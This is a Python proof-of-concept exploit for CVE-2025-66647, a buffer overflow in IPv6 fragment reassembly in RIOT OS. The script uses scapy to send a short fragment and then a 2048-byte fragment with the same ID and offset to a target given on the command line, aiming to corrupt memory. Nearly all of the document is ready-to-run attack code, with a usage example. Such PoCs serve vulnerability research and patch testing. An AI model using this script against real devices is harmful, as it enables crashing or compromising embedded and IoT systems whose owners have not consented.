CVE-2025-66647

#!/usr/bin/env python3 """ CVE-2025-66647 PoC - RIOT OS IPv6 Fragment Reassembly Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in RIOT OS IPv6 fragment reassembly. """ import sys from scapy.all import IPv6, IPv6ExtHdrFragment, Raw, send def create_ipv6_fragment(src, dst, frag_id, offset, more_fragments, payload): """Create an IPv6 fragment packet""" pkt = IPv6(src=src, dst=dst) / IPv6ExtHdrFragment( frag_id=frag_id, offset=offset, m=more_fragments ) / Raw(load=payload) return pkt def exploit_cve_2025_66647(target_ip, interface=None): """ Exploit RIOT OS IPv6 fragment reassembly buffer overflow Attack strategy: 1. Send a short fragment (offset=0) to force small buffer allocation 2. Send a long fragment (offset=0) to overflow the buffer """ frag_id = 0x12345678 # Step 1: Send a short fragment with offset=0 to create small reassembly buffer short_payload = b'A' * 64 # Small payload to force small buffer pkt1 = create_ipv6_fragment( src="2001:db8::1", dst=target_ip, frag_id=frag_id, offset=0, more_fragments=1, payload=short_payload ) print(f"[*] Sending short fragment (offset=0, length={len(short_payload)})") send(pkt1, iface=interface, verbose=0) # Step 2: Send a long fragment with offset=0 to overflow the buffer long_payload = b'B' * 2048 # Large payload to overflow the buffer pkt2 = create_ipv6_fragment( src="2001:db8::1", dst=target_ip, frag_id=frag_id, offset=0, more_fragments=0, payload=long_payload ) print(f"[*] Sending long fragment (offset=0, length={len(long_payload)}) to trigger overflow") send(pkt2, iface=interface, verbose=0) print("[+] Exploit sent. If vulnerable, this should cause buffer overflow and memory corruption.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ipv6> [interface]") print(f"Example: {sys.argv[0]} fe80::1 eth0") sys.exit(1) target = sys.argv[1] iface = sys.argv[2] if len(sys.argv) > 2 else None exploit_cve_2025_66647(target, iface)

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